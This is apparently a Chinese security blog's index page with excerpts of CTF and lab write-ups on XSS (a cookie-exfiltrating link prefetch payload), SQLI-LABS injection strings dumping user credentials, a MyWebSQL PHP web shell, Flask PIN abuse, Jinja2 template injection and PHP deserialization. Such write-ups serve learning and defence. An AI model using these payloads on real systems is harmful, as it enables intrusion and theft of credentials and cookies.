XSS 的一些做题记录

xss太菜了,只能记录一下做题,只想到这种办法来提升自己,从现在开始记录 RCTF-2019 jail 进去之后注册登录 url:https://jail.2019.rctf.rois.io/ post message url:https://jail.2019.rctf.rois.io/?action=feedback 向服务器提交message对应的id,然后管理员会查看 https://jail.2019.rctf.rois.io/ 删除所有message https://jail.2019.rctf.rois.io/?action=profile 个人信息界面可以上传图片更换头像 profile界面传php都会被转jpg,而且明显就是xss题目,message界面是不给x的 没思路,看了pakho师傅的wp才知道,先头像上传js,再post message时传入要xss payload,然后将id传给admin访问 并且cookie有两个hint 禁掉了meta的跳转,师傅用了link标签的预加载 https://blog.csdn.net/qq_31481187/article/details/53027208 构造 <link rel=”dns-prefetch” href=”//[cookie].xxx.ceye.io”> payload 2.js function Strtohex(Things){ var str = ”; for (var i = 0; i < Things.length ; i++) { str += Things[i].charCodeAt(0).toString(16); } return str; } Read more…

SQLI-LABS 31-53

less-31 闭合有变化,其他没变 id=0&id=0″)%20union%20select%201,2,3%23 Your Login name:2 Your Password:3 PAYLOAD id=0&id=0″)%20union%20select%201,username,password from users LIMIT 0,1%23 less-32 宽字节注入 网上一搜就有解决方法:%df%27闭合单引号 id=0%df%27union%20select%201,2,3%23 Your Login name:2 Your Password:3 id=0%df%27union%20select%201,group_concat(username),group_concat(password)from users %23 less-33 正则换成了addslashes转义,然而还是可以继续像上一题那样打 less-34 宽字节POST注入 uname=0%df’ union select 1,group_concat(username) from users#&passwd=admin&submit=Submit less-35 没有单引号闭合,check_addslashes没什么用,直接联合查询 id=0 union select 1,group_concat(username),group_concat(password) from users%23 less-36 改用了mysql_real_escape_string函数,但是payload还是没变化 0%df%27union%20select%201,group_concat(username),group_concat(password)%20from%20users%23 less-37 还是mysql_real_escape_string uname=0%df%27 Read more…

DDCTF2019两道WEB题的预期做法

起因: 然后骚扰出题人 MYSQL弱口令 解法:gopher攻击mysql 原题大多数做法是读取.mysql_history获取flag,当这个文件被删除的,就可能需要另外一种做法–gopher攻击mysql,感觉才是预期解法 读取源码 我们利用之前的脚本读取views.py # coding=utf-8 from flask import jsonify, request from struct import unpack from socket import inet_aton import MySQLdb from subprocess import Popen, PIPE import re import os import base64 # flag in mysql curl@localhost database:security table:flag def weak_scan(): agent_port = 8123 result = [] Read more…

*CTF2019-MYWEBSQL WRITEUP

比赛时卡在了执行readflag赛后复现2333 环境还在:http://35.243.82.53:10080/ 首页是MyWebSQL登录界面 猜测用户名弱密码 root root admin admin …… admin admin登录成功 谷歌MyWebSQL CVE 发现了CVE-2019-7731,正好是最近的漏洞,出题人的最爱,点进去看到有一篇分析 有漏洞复现过程: Create a test table (code) and write a shell code in this table. 创建表,写入shell语句 Execute Backup Database function and modify Backup filename as shell.php. 备份数据表,名称改为shell.php 示例语句为 <?php system($_POST[cmd]); ?> Browse (domain)/mywebsql/backups/shell.php?cmd=XXX. Here instance is cmd=ipconfig Read more…

Flask Debug PIN配合文件读取执行python代码

参考文章:https://xz.aliyun.com/t/2553 FLASK DEBUG PIN flask开启DEBUG模式 app.run(debug=True) 通过这个pin码,我们可以在报错页面执行任意python代码 执行命令前提是知道pin码,那么问题就在pin码的生成机制上,同个机器启动多个flask应用,pin码是一样的,直接来看pin码如何生成的 Flask pin生成流程 环境搭建: python 2.7 centos 7 flask 1.0.2 app.py from flask import Flask,request import sys app = Flask(__name__) @app.route(‘/’) def index(): return render_template(‘index.html’) if __name__==’__main__’: app.run(‘0.0.0.0’,8888,debug=True) 运行: python app.py 懒得下pycharm,在windows上开sublimetext跟进,观察DEBUG界面, flask应用一定会运行”/usr/lib64/python2.7/site-packages/flask/app.py” 于是直接看app.py 搜索run函数 跟进werkzeug.serving的run_simple函数 然后继续跟进werkzeug.debug的DebuggedApplication类 在__init__里找到类,跟进_get_pin,跟进get_pin_and_cookie_name,也就是生成PIN码 贴一下脚本 def get_pin_and_cookie_name(app): “””Given an Read more…

SQLI-LABS 学习(less-17-30)

less-17 刚开始发现uname被waf,一直在找怎么绕过WAF,但其实是找最佳注入点, 于是找passwd注入,而且可以报错 payload: User Name:admin New Password:1′ and updatexml(1,concat(0x7e,(select concat(id,username,password) from (select id,username,password from users LIMIT 0,1)a),0x7e),1)# less-18 User-Agent注入,同样可以报错,要登录成功才能插入User-Agent payload: User-Agent:1′ and updatexml(1,concat(0x7e,(select concat(id,username,password)from users limit 0,1),0x7e),1) and ‘1’=’1 uname=admin&passwd=1&submit=Submit less-19 Referer注入,payload同上 Referer:1′ and updatexml(1,concat(0x7e,(select concat(id,username,password)from users LIMIT 0,1),0x7e),1) and ‘1’=’1 uname=admin&passwd=1&submit=Submit less-20 cookies注入,不能带Submit参数 payload: Cookie:uname=admin’ and updatexml(1,concat(0x7e,(select concat(id,username,password)from Read more…

Flask/Jinja2 模板注入

0x00 前言 服务端模板注入(SSTI)攻击,可以看看James Kettle写的这篇文章。 flask出现模板注入原因主要还是因为使用了render_template_string函数 0x01 环境搭建 test.py from flask import Flask,render_template,config,render_template_string,request from Config import Config app = Flask(__name__) app.config[‘SECRET_KEY’] = “flag{SSTI_123456}” @app.errorhandler(404) def page_not_found(e): template = ”’ <div class=”center-content error”> <h1>Oops! That page doesn’t exist.</h1> <h3>%s</h3> </div> ”’ %(request.url) return render_template_string(template) if __name__==’__main__’:` app.run(‘0.0.0.0’,9999,debug=True) 0x02 检测注入 http://localhost:8888/{{ 7*7 }} Read more…

SQLI-LABS LESS 1-22

平台搭建 https://github.com/Audi-1/sqli-labs 我继续用了phpstudy,因为发现它版本要求是PHP5.x的,XAMPP很明显不行,因为它只有最新PHP最新的版本,无法切换。 当作是一个目录:http://127.0.0.1:801/sqli-labs/就完事,点击Setup/reset Database for labs,数据库表自动创建。 参考大佬的教程玩:https://www.cnblogs.com/peterpan0707007/p/7620048.html Less-1 Less-1很难受,太菜了。之前玩DVWA的时候,源代码的sql语句后面是没有LIMIT 0,1的,还有就是输入url,#必须是url编码,不然就会报错,一直卡在那里。太菜了鸭…… 基础知识: user():当前数据库用户 database():当前数据库名 version():当前使用的数据库版本 @@datadir:数据库存储数据路径 concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password) group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来 concat_ws():用法类似 hex() 和 unhex():用于 hex 编码解码 load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\ select xxoo into outfile ‘路径’:权限较高时可直接写文件 开始测试. 1′ 报错 1’ order by 1%23 查询成功,但是之后不管order by 2还是order by 3都不会变,因为LIMIT 0,1只查出一行的结果,排序没用。只有最前面的1变了才会变。当 Read more…

PHP反序列化学习

暑假想学一下PHP反序列化,顺便出一道题, (POP链的构造的题),发现之前writeup没看懂,太菜了…… 魔术手法 构造关键是魔术手法的触发条件 魔术手法 __wakeup 进行unserialize操作时,该函数会提前调用,感觉像激活对象的意思 <?php class Test1 { public function __wakeup(){ echo ‘use __wakeup’; } } $a = new Test1(); ; unserialize(serialize($a)); //use __wakup __sleep 进行serialize操作时,该函数会提前调用,和wakeup相反,我理解为将对象沉睡的意思 <?php class Test2 { public $key1; public function __sleep(){ echo ‘123’; return array(‘key1’); } } $b = new Test2(); $b->key1=”123″; serialize($b); Read more…

挖坑清单:XAMPP启动不了

转自:https://blog.csdn.net/kunlong0909/article/details/7716715 Xampp的获得和安装都十分简单,你只要到以下网址: 刚安装完xampp时,apache服务器是启动不了的。这个原因有很多,下面我来一一细说。 0x01没有安装VC9的环境 要判断是否是这一问题十分简单,只要单独运行C:\xampp\apache\bin\httpd.exe时(这个是我的安装路径),提示“系统无法执行指定的程序”(这个是用命令行运行后的提示),如果是直接双击httpd.exe,则会提示环境配置错误。 解决办法:直接下载vcredist_x86.exe。 以下是在php.net看到的提示信息: VC9 Versions are compiled with the Visual Studio 2008 compiler and have improvements in performance and stability. The VC9 versions require you to have the Microsoft 2008 C++ Runtime (x86) or the Microsoft 2008 C++ Runtime (x64) installed 按照链接下载了Microsoft Visual C++ 2008 Redistributable Read more…